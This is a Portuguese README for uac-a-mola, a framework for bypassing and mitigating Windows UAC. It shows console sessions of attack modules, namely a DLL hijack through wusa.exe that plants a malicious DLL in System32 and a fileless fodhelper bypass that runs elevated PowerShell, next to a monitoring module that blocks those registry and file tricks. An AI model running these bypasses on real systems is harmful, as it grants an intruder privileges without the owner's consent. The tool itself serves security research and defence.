
Framework modular para ataques e mitigação de bypass do UAC do Windows, apresentando sequestro de DLL, execução sem arquivos e monitoramento em tempo real para detectar e bloquear tentativas de escalonamento de privilégios.
Para instalar o uac-a-mola você deve realizar as seguintes ações:
pip install -r requirements.txt
Uac-a-mola está pronto para usar! Você pode testar sua funcionalidade digitando:
cd uacamola
python uacamola.py
Esta é uma breve seção que explica o uso de alguns dos módulos do uac-a-mola:
Usar os módulos de ataque é algo muito simples que dificilmente requer explicação. A única coisa que você precisa fazer é carregar o módulo correspondente no framework usando o comando load, você pode ver as opções ou parâmetros de entrada usando o comando show, com o comando run o módulo é executado:
uac-a-mola> load .\modules\attack\dll_hijacking_wusa.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[dll_hijacking_wusa.py]> show
Author
------
|_Pablo Gonzalez (pablo@11paths or @pablogonzalezpe)
Name
----
|_Copy DLL with wusa.exe
Description
-----------
|_It's used for copy a DLL in privilege path (wusa method win7/8/8.1)
Options (Field = Value)
-----------------------
|_name_dll = comctl32.dll (name of DLL)
|
|_binary = compmgmtlauncher.exe (Path to the vulnerable binary)
|
|_malicious_dll = C:\Users\ieuser\Desktop\uac-a-mola\uacamola\payloads\comctl32\comctl32.dll (Path to a malicious dll)
|
|_name_folder = x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2 (Name folder)
|
|_destination_path = C:\Windows\System32 (Destination path)
uac-a-mola[dll_hijacking_wusa.py]> run
[+] Running module...
creating path...
SUCCESS: done
copying dll in path...
SUCCESS: done
creating DDF file...
SUCCESS: done
creating CAB file...
SUCCESS: done
launch wusa.exe /extract
SUCCESS: done! got root? :D
removing path...
SUCCESS: done
uac-a-mola[dll_hijacking_wusa.py]>
E outro exemplo:
uac-a-mola> load modules\attack\fileless_fodhelper.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[fileless_fodhelper.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_Fileless Fodhelper
Description
-----------
|_Fileless - Fodhelper bypass UAC
Options (Field = Value)
-----------------------
|_instruction = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C echo mola > c:\pwned.txt (Elevated Code)
uac-a-mola[fileless_fodhelper.py]> set instruction powershell.exe
uac-a-mola[fileless_fodhelper.py]> run
[+] Running module...
Usar os métodos de mitigação também é bastante simples, mas eles têm uma estrutura interna um pouco mais complexa que será explicada nesta seção. Em relação ao seu uso, a primeira coisa que deve ser feita é carregar o módulo de mitigação disponível:
uac-a-mola> load modules\mitigation\bypass_mitigation.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_[REQUIRED] password = None (Password for connection)
|
|_[REQUIRED] binlist_file = None (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
Neste caso, precisaremos definir uma senha que os agentes usarão para se comunicar com o listener que será executado no framework uacamola. Podemos encontrar os agentes no caminho uacamola/support/agents, abrindo esses arquivos podemos ver a senha:
fodhelper_ag = Agent('fodhelper.exe', 'localhost', 5555, 'uacamola')
fodhelper_ag.send_forbidden("Software\\Classes\\ms-settings\\Shell\\Open\\command")
uacamola será a senha usada para autenticação e comunicação, mas podemos alterá-la. O outro parâmetro necessário é um caminho para um arquivo que contenha uma lista de binários para monitorar, esses binários devem ter um arquivo agent.pyw nos caminhos dos agentes.
uac-a-mola[bypass_mitigation.py]> show
Author
------
|_Santiago Hernandez Ramos
Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses
Description
-----------
|_Bypass Mitigation
Options (Field = Value)
-----------------------
|_password = uacamola (Password for connection)
|
|_binlist_file = bins.txt (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
uac-a-mola[bypass_mitigation.py]> run
[+] Running module...
[+] Executing the listener...
--- Press ENTER for quit mitigate mode ---
Apenas preenchendo esses campos e executando o comando run, o uacamola começará a monitorar toda a atividade relacionada ao bypass de UAC nos binários que aparecem na lista. Se uma atividade perigosa for detectada, ela irá automaticamente podar o ramo perigoso (do sistema de arquivos ou registro) e executará o binário de forma segura. Para sair deste modo, basta pressionar a tecla ENTER.
Por favor, reporte qualquer erro para [email protected] ou apenas abra uma issue no GitHub. Sua colaboração é apreciada!
O SOFTWARE É FORNECIDO "NO ESTADO EM QUE SE ENCONTRA", SEM GARANTIA DE QUALQUER TIPO, EXPRESSA OU IMPLÍCITA, INCLUINDO, MAS NÃO SE LIMITANDO ÀS GARANTIAS DE COMERCIALIZAÇÃO, ADEQUAÇÃO A UM PROPÓSITO ESPECÍFICO E NÃO VIOLAÇÃO. EM NENHUM CASO OS AUTORES OU DETENTORES DE DIREITOS AUTORAIS SERÃO RESPONSÁVEIS POR QUALQUER RECLAMAÇÃO, DANOS OU OUTRA RESPONSABILIDADE, SEJA EM AÇÃO DE CONTRATO, ATO ILÍCITO OU DE OUTRA FORMA, DECORRENTE DE, OU EM CONEXÃO COM O SOFTWARE OU O USO OU OUTRAS NEGOCIAÇÕES NO SOFTWARE. SEMPRE QUE VOCÊ FIZER UMA CONTRIBUIÇÃO PARA UM REPOSITÓRIO QUE CONTENHA UM AVISO DE LICENÇA, VOCÊ LICENCIA SUA CONTRIBUIÇÃO SOB OS MESMOS TERMOS, E CONCORDA QUE TEM O DIREITO DE LICENCIAR SUA CONTRIBUIÇÃO SOB ESSES TERMOS. SE VOCÊ TIVER UM ACORDO SEPARADO PARA LICENCIAR SUAS CONTRIBUIÇÕES SOB TERMOS DIFERENTES, COMO UM ACORDO DE LICENÇA DE CONTRIBUIDOR, ESSE ACORDO PREVALECERÁ.